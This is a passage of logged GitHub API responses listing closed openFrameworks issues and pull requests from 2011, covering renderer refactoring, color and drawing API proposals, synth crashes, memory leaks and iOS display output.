7","labels":[],"closed_at":"2011-03-19T21:24:45Z","created_at":"2011-02-09T07:57:05Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":585331,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-02-11T19:31:57Z","body":"this is a merge of everything in my android + swappable renderers branches with master\r\n\r\neverything is working here, have tested both in linux and osx. \r\n\r\ni've added some clean scripts and fixed the examples to build with the buildAndTest scripts in osx btw : )","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/465","comments":1,"milestone":null,"number":465,"html_url":"https://github.com/openframeworks/openFrameworks/issues/465","assignee":null,"title":"android + swappable renderers","labels":[],"closed_at":"2011-02-12T03:30:59Z","created_at":"2011-02-08T20:31:10Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":584083,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/465.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/465.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/465"}},{"updated_at":"2011-02-08T04:02:10Z","body":"I understand the reasoning behind ofSetHexColor, yet I prefer how Processing overloads stroke and background. ofSetColor could take a hex int, rgb, AND a char or uint_8t byte value to allow the distinction between a byte and int value to be made without requiring and extra function name. We'd just have to use the explicit byte types from C++ ie\n\n`ofSetColor(uint8_t byte); // 0 - 255`\n\n`ofSetColor(uint32_t hex); // 0xFF0000`\n\n`ofSetColor(int r, int g, int b); // RGB`\n\netc ... now I could be wrong, but I'll give it a try in the meantime.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/464","comments":1,"milestone":null,"number":464,"html_url":"https://github.com/openframeworks/openFrameworks/issues/464","assignee":null,"title":"Do we need ofSetHexColor when ofSetColor could be overloaded?","labels":[],"closed_at":"2011-02-08T04:02:10Z","created_at":"2011-02-08T03:51:30Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":582362,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-03-22T10:32:27Z","body":"right now it's using createDirectory() which fails if the parent directories aren't there.\r\n\r\ncreateDirectories() will create any necessary parent directories.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/459","comments":3,"milestone":null,"number":459,"html_url":"https://github.com/openframeworks/openFrameworks/issues/459","assignee":null,"title":"ofFileUtils::makeDirectory should use Poco::File::createDirectories() for recursive creation","labels":[],"closed_at":"2011-03-13T22:19:42Z","created_at":"2011-02-07T07:50:46Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":579788,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-02-10T19:57:04Z","body":"\r\n\r\nat the moment, when you change the notes in an ofxSynth, it does some interpolation / smoothing of pitches. this might be good if you are changing the pitch while playing (ie, pitch bend) it sounds pretty weird when you are triggering different notes. IMO trigger should reset the pitch and not have any smoothing.\r\n\r\nalso, think we need an intuitive way to set ADSR / envelopes on the notes -- I haven't had good luck with this yet. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/458","comments":2,"milestone":null,"number":458,"html_url":"https://github.com/openframeworks/openFrameworks/issues/458","assignee":null,"title":"ofxSynth pitch smoothing","labels":[],"closed_at":"2011-02-10T19:57:04Z","created_at":"2011-02-06T17:44:05Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":578882,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-02-10T20:00:48Z","body":"\r\n\r\nif you set the delay larger then 2 seconds, it can crash in: \r\n\r\nvoid ofxSynthDelayline::process( float* input, float *output, int numFrames, int numInChannels, int numOutChannels )\r\n\r\nsince memory is set to a fixed size:\r\n\r\ndouble memory[88200];\r\n\r\nwe can either make this more dynamic (reallocate if necessary) or cap the delay size. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/457","comments":1,"milestone":null,"number":457,"html_url":"https://github.com/openframeworks/openFrameworks/issues/457","assignee":null,"title":"ofxSynth crashes with delay line adjustments","labels":[],"closed_at":"2011-02-10T20:00:48Z","created_at":"2011-02-06T17:41:20Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":578878,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2012-04-01T11:22:31Z","body":"2011-02-06 17:33:40.309 DictionaryTesterDebug[17484:a0f] *** __NSAutoreleaseNoPool(): Object 0x180c2c0 of class NSCarbonWindowContentView autoreleased with no pool in place - just leaking\r\n2011-02-06 17:33:40.311 DictionaryTesterDebug[17484:a0f] *** __NSAutoreleaseNoPool(): Object 0x322d70 of class NSCFArray autoreleased with no pool in place - just leaking\r\n2011-02-06 17:33:40.312 DictionaryTesterDebug[17484:a0f] *** __NSAutoreleaseNoPool(): Object 0x3204e0 of class NSPathStore2 autoreleased with no pool in place - just leaking\r\n2011-02-06 17:33:40.312 DictionaryTesterDebug[17484:a0f] *** __NSAutoreleaseNoPool(): Object 0x6006b0 of class NSCFData autoreleased with no pool in place - just leaking\r\n2011-02-06 17:33:40.313 DictionaryTesterDebug[17484:a0f] *** __NSAutoreleaseNoPool(): Object 0xa0174ae8 of class NSCFString autoreleased with no pool in place - just leaking\r\n2011-02-06 17:33:40.313 DictionaryTesterDebug[17484:a0f] *** __NSAutoreleaseNoPool(): Object 0x1906a50 of class __NSArray0 autoreleased with no pool in place - just leaking\r\n2011-02-06 17:33:40.314 DictionaryTesterDebug[17484:a0f] *** __NSAutoreleaseNoPool(): Object 0x1936480 of class NSCFNumber autoreleased with no pool in place - just leaking\r\n2011-02-06 17:33:40.314 DictionaryTesterDebug[17484:a0f] *** __NSAutoreleaseNoPool(): Object 0x61e390 of class NSCFArray autoreleased with no pool in place - just leaking\r\n2011-02-06 17:33:40.315 DictionaryTesterDebug[17484:a0f] *** __NSAutoreleaseNoPool(): Object 0x6094f0 of class NSCFArray autoreleased with no pool in place - just leaking\r\n2011-02-06 17:33:40.316 DictionaryTesterDebug[17484:a0f] *** __NSAutoreleaseNoPool(): Object 0xa079d44c of class NSCFString autoreleased with no pool in place - just leaking\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/456","comments":2,"milestone":null,"number":456,"html_url":"https://github.com/openframeworks/openFrameworks/issues/456","assignee":null,"title":"ofCreateAlertDialog has crazy memory leaks on OSX","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":"2012-04-01T11:22:29Z","created_at":"2011-02-06T17:34:37Z","state":"closed","user":{"url":"https://api.github.com/users/memo","gravatar_id":"b5c0e3c2630097b29680cfeda464024c","login":"memo","avatar_url":"https://secure.gravatar.com/avatar/b5c0e3c2630097b29680cfeda464024c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144230},"id":578869,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2012-03-12T01:56:24Z","body":"we still need a method for transferring data from ofTexture to ofPixels.\r\n\r\ni had it in there for a bit but i think it was removed because ofPixels was still in flux.\r\n\r\nat the moment, this means it's impossible to save to disk anything you do in an fbo.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/455","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":455,"html_url":"https://github.com/openframeworks/openFrameworks/issues/455","assignee":null,"title":"texture readback","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2012-03-11T15:24:03Z","created_at":"2011-02-06T05:05:55Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":578098,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-03-13T22:13:06Z","body":"i think ofUtils line 536 should read:\r\n\r\n\tscreen.grabScreen(0, 0, view.width, view.height);\r\n\r\nright now width and height are reversed.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/453","comments":1,"milestone":null,"number":453,"html_url":"https://github.com/openframeworks/openFrameworks/issues/453","assignee":null,"title":"ofSaveViewport is broken","labels":[],"closed_at":"2011-03-13T22:13:06Z","created_at":"2011-02-06T03:27:52Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":578012,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-03-13T22:10:59Z","body":"code to solve it here:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=6&t=5496&view=unread#unread","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/452","comments":1,"milestone":null,"number":452,"html_url":"https://github.com/openframeworks/openFrameworks/issues/452","assignee":null,"title":"ofImage doesn't save gifs","labels":[],"closed_at":"2011-03-13T22:10:59Z","created_at":"2011-02-03T00:11:01Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":571352,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-05-25T15:47:14Z","body":"Added multi-light support, material support, spotlight support, attenuation and fixed get functions for colors to return 0 - 255. Not sure if the material functions belong here :/ Haven't tested on iPhone yet.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/451","comments":10,"milestone":null,"number":451,"html_url":"https://github.com/openframeworks/openFrameworks/issues/451","assignee":null,"title":"ofLight Update","labels":[],"closed_at":"2011-05-25T15:47:14Z","created_at":"2011-02-02T20:21:16Z","state":"closed","user":{"url":"https://api.github.com/users/NickHardeman","gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","login":"NickHardeman","avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142694},"id":570742,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/451.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/451.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/451"}},{"updated_at":"2011-02-11T20:59:11Z","body":"ofSetupScreenPerspective had been changed to accept a new parameter (orientation), but ofFbo - which called ofSetupScreenPerspective hadn't been updated! rendering it unusable. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/450","comments":0,"milestone":null,"number":450,"html_url":"https://github.com/openframeworks/openFrameworks/issues/450","assignee":null,"title":"fixed ofFbo to work with the new ofSetupScreenPerspective","labels":[],"closed_at":"2011-02-11T20:59:11Z","created_at":"2011-02-02T15:33:11Z","state":"closed","user":{"url":"https://api.github.com/users/memo","gravatar_id":"b5c0e3c2630097b29680cfeda464024c","login":"memo","avatar_url":"https://secure.gravatar.com/avatar/b5c0e3c2630097b29680cfeda464024c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144230},"id":569981,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/450.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/450.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/450"}},{"updated_at":"2011-03-18T13:35:58Z","body":"i think theo already knows, but i thought i'd file a bug for him to squash ;)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/448","comments":2,"milestone":null,"number":448,"html_url":"https://github.com/openframeworks/openFrameworks/issues/448","assignee":null,"title":"ofSetupSCreenOrtho doesn't work with ofSetOrientation","labels":[],"closed_at":"2011-03-18T09:15:37Z","created_at":"2011-02-02T00:00:04Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":568534,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-02-11T19:30:55Z","body":"drawing classes:\n- ofShape: stores commands without decomposing in vertices. Used for renderers that can do things like beziers directly like cairo for pdf/svg. caches ofShapeTess for faster rendering in opengl\n\n-ofShapeTessellation: stores decomposed primitives like bezier, curve.. as vertices. same api as ofPath. can decompose a whole ofPath. caches outline and tessellation. you can do everything with ofShape but this is slightly faster for things that you need to update a lot and are only going to be drawn to gl\n\n-ofCairoRenderer: can draw all the primitives to pdf or svg, multipage, and 3d with perspective trasnformations, still missing blending functions. some examples:\n\n - multipage pdf: http://arturocastro.net/multipagepaths.pdf\n - ofTrueType as shapes: http://arturocastro.net/fontasvectors.pdf\n - and 3d: http://arturocastro.net/squirrel.pdf\n\n-ofGLRenderer: uses a vertex array for rendering of ofShape/ofShapeTessellation, ofVertexData and ofPolyline + viewport, setupScreenPerspective... \n\nofGraphics: all non-gl specific functions (like textureARB) go through renderers, ofGraphics decide to use a shape or a shapeTess depending on the type of renderer (cairo -> ofShape, gl -> ofShapeTess)\n\nofTrueTypeFont: ofTTFCharacter as a shape, to be able to render to pdf/svg/opengl\n\nofMesh/ofModel: drawing through vbo or default renderer instead of vbo/va\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/447","comments":0,"milestone":null,"number":447,"html_url":"https://github.com/openframeworks/openFrameworks/issues/447","assignee":null,"title":"ofShape + swappable renderers","labels":[],"closed_at":"2011-02-11T19:30:55Z","created_at":"2011-02-01T22:06:34Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":568248,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/447.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/447.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/447"}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=24&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '32520'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"5dbc63e6737acfedcbfb04a918233a77"'), ('date', 'Tue, 29 May 2012 18:46:45 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-01-31T10:35:18Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/445","comments":1,"milestone":null,"number":445,"html_url":"https://github.com/openframeworks/openFrameworks/issues/445","assignee":null,"title":"ofPixels: copy constructor fix, const correctness, operator[] returns a reference","labels":[],"closed_at":"2011-01-31T18:35:10Z","created_at":"2011-01-31T10:30:52Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":563844,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/445","patch_url":"https://github.com/openframeworks/openFrameworks/pull/445.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/445.diff"}},{"updated_at":"2011-12-03T16:12:34Z","body":"right now it checks for background auto and does nothing if it's false. i suppose a explicit call from the code to ofBackground should be clearing it even on background auto=false. That's also how it's explained in the docs:\r\n\r\nhttp://www.openframeworks.cc/documentation?detail=ofGraphics#ofSetBackgroundAuto","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/444","comments":10,"milestone":null,"number":444,"html_url":"https://github.com/openframeworks/openFrameworks/issues/444","assignee":null,"title":"should ofBackground clear even on setBackgroundAuto==false","labels":[],"closed_at":"2011-12-03T10:39:32Z","created_at":"2011-01-31T10:28:24Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":563841,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-02-14T10:21:10Z","body":"renamed some bits, fixed iPhone issues with functions in ofDrawBitmapString","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/443","comments":1,"milestone":null,"number":443,"html_url":"https://github.com/openframeworks/openFrameworks/issues/443","assignee":null,"title":"fixes","labels":[],"closed_at":"2011-02-14T18:20:58Z","created_at":"2011-01-31T04:40:58Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":563425,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/443","patch_url":"https://github.com/openframeworks/openFrameworks/pull/443.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/443.diff"}},{"updated_at":"2011-01-31T04:32:33Z","body":"implemented some things kyle pointed out","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/442","comments":0,"milestone":null,"number":442,"html_url":"https://github.com/openframeworks/openFrameworks/issues/442","assignee":null,"title":"little fixes to ofDrawBitmapString","labels":[],"closed_at":"2011-01-31T04:32:33Z","created_at":"2011-01-31T03:48:09Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":563367,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/442","patch_url":"https://github.com/openframeworks/openFrameworks/pull/442.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/442.diff"}},{"updated_at":"2011-02-11T20:16:23Z","body":"just learned a ton about OF by trying to teach it to 40 itp students. when i asked how many people understood what pixels[y*w+x] meant only 3 people raised their hands :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/441","comments":6,"milestone":null,"number":441,"html_url":"https://github.com/openframeworks/openFrameworks/issues/441","assignee":null,"title":"ofImage::getPixel and setPixel","labels":[],"closed_at":"2011-02-11T20:16:23Z","created_at":"2011-01-31T01:03:32Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":563219,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/441","patch_url":"https://github.com/openframeworks/openFrameworks/pull/441.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/441.diff"}},{"updated_at":"2011-02-01T22:02:25Z","body":"drawing classes:\n- ofPath: stores commands without decomposing in vertices. Used for renderers that can do things like beziers directly like cairo for pdf/svg. caches ofShape for faster rendering in opengl\n\n-ofShape: stores decomposed primitives like bezier, curve.. as vertices. same api as ofPath. can decompose a whole ofPath. caches outline and tessellation\n\n-ofCairoRenderer: can draw all the primitives to pdf or svg, multipage, still missing background/color/blending functions. some examples:\n - multipage pdf: http://arturocastro.net/multipagepaths.pdf\n - ofTrueType as shapes: http://arturocastro.net/fontasvectors.pdf\n - and 3d: http://arturocastro.net/squirrel.pdf\n\n-ofGLRenderer: uses a vertex array for rendering of ofPath/ofShape, ofVertexData and ofPolyline + viewport, setupScreenPerspective...\n\nofGraphics: all non-gl specific functions (like textureARB) go through renderers, ofGraphics decide to use a path or a shape depending on the type of renderer (cairo -> ofPath, gl -> ofShape)\n\nofTrueTypeFont: ofTTFCharacter as a path, to be able to render to pdf/svg/opengl\n\nofMesh/ofModel: drawing through vbo/default renderer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/440","comments":1,"milestone":null,"number":440,"html_url":"https://github.com/openframeworks/openFrameworks/issues/440","assignee":null,"title":"Swappable renderers","labels":[],"closed_at":"2011-02-01T22:02:25Z","created_at":"2011-01-30T13:01:01Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":562380,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/440","patch_url":"https://github.com/openframeworks/openFrameworks/pull/440.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/440.diff"}},{"updated_at":"2011-01-31T00:59:41Z","body":"Sometimes when i open advanced3dExample, I get all my variables that are taking from ofRandom(1.0f) = -nan.\ni presume that if we ever get to -nan, then all subsequent random variables are also -nan (unless we reseed).\n\nofSeedRandom seems to have no effect on this issue\n\ni'm testing on OSX 10.6 / Xcode\n\nsometimes, i get valid numbers but all the numbers are quite large\n\nanybody seen similar results?\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/439","comments":2,"milestone":null,"number":439,"html_url":"https://github.com/openframeworks/openFrameworks/issues/439","assignee":null,"title":"ofRandom(1.0f) sometimes giving -nan","labels":[],"closed_at":"2011-01-31T08:58:28Z","created_at":"2011-01-30T11:15:39Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":562284,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-30T14:03:57Z","body":"Added enum type ofDrawBitmapMode\r\nfunction ofSetDrawBitmapMode(ofDrawBitmapMode mode)\r\n\r\ndefault is OF_BITMAPMODE_SIMPLE (i.e. same method as with kyle's existing ofDrawBitmapString)\r\n\r\nthe options are:\r\n\tOF_BITMAPMODE_SIMPLE = 0,\r\n\tOF_BITMAPMODE_SCREEN,\r\n\tOF_BITMAPMODE_VIEWPORT,\r\n\tOF_BITMAPMODE_MODEL,\r\n\tOF_BITMAPMODE_MODEL_BILLBOARD\r\n\r\nsimple = as before, strange in 3D (upside down for a start!)\r\nscreen = override current transform and draw in screen space\r\nviewport = override current transform and draw in viewport space\r\nmodel = draw in 3D space (with text the right way up)\r\nmodel_billboard = draw in screen space at projected position of 3D point (aka draw in 3D space but ignore scale / rotate / distort)\r\n\r\n\r\n===CONTENTION===\r\nPerhaps the name is wrong?\r\ni.e. if this is only ever going to be used for text\r\nthen ofSetTextMode or ofSetBitmapTextMode\r\nwould be more relevant\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/438","comments":0,"milestone":null,"number":438,"html_url":"https://github.com/openframeworks/openFrameworks/issues/438","assignee":null,"title":"ofSetDrawBitmapMode can be used for altering the personality of ofDrawBitmapString","labels":[],"closed_at":"2011-01-30T14:03:57Z","created_at":"2011-01-30T11:11:39Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":562280,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/438","patch_url":"https://github.com/openframeworks/openFrameworks/pull/438.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/438.diff"}},{"updated_at":"2011-02-03T01:40:36Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/437","comments":0,"milestone":null,"number":437,"html_url":"https://github.com/openframeworks/openFrameworks/issues/437","assignee":null,"title":"ofVBO fix for IOS","labels":[],"closed_at":"2011-02-03T01:40:36Z","created_at":"2011-01-30T01:19:33Z","state":"closed","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":561917,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/437","patch_url":"https://github.com/openframeworks/openFrameworks/pull/437.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/437.diff"}},{"updated_at":"2012-03-28T15:02:50Z","body":"I found this link that does most of the work for video out from the iPad and iPhone via the VGA adapter:\n\nhttp://www.touchcentric.com/blog/archives/123\nhttp://github.com/robterrell/TVOutManager\n\nIt's a 2-line solution. BUT it uses undocumented APIs and mirrors the entire screen and UI. Instead of copying pixels, I think we could modify this code to automatically call the OF draw method twice and make a new opengl surface on the output surface, thereby speeding up drawing to the second display, and also only drawing opengl content and not any UI.\n\nI could see a really fancy version with options:\n\n1. No mirroring\n2. Mirror opengl (call draw twice)\n3. provide discrete draw callbacks with each display - maybe an argument to the draw callback with screen number? This might be the cleanest option, since it supports both of the above.\n\nScott","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/436","comments":9,"milestone":null,"number":436,"html_url":"https://github.com/openframeworks/openFrameworks/issues/436","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"Add video out/second display/mirroring for iOS 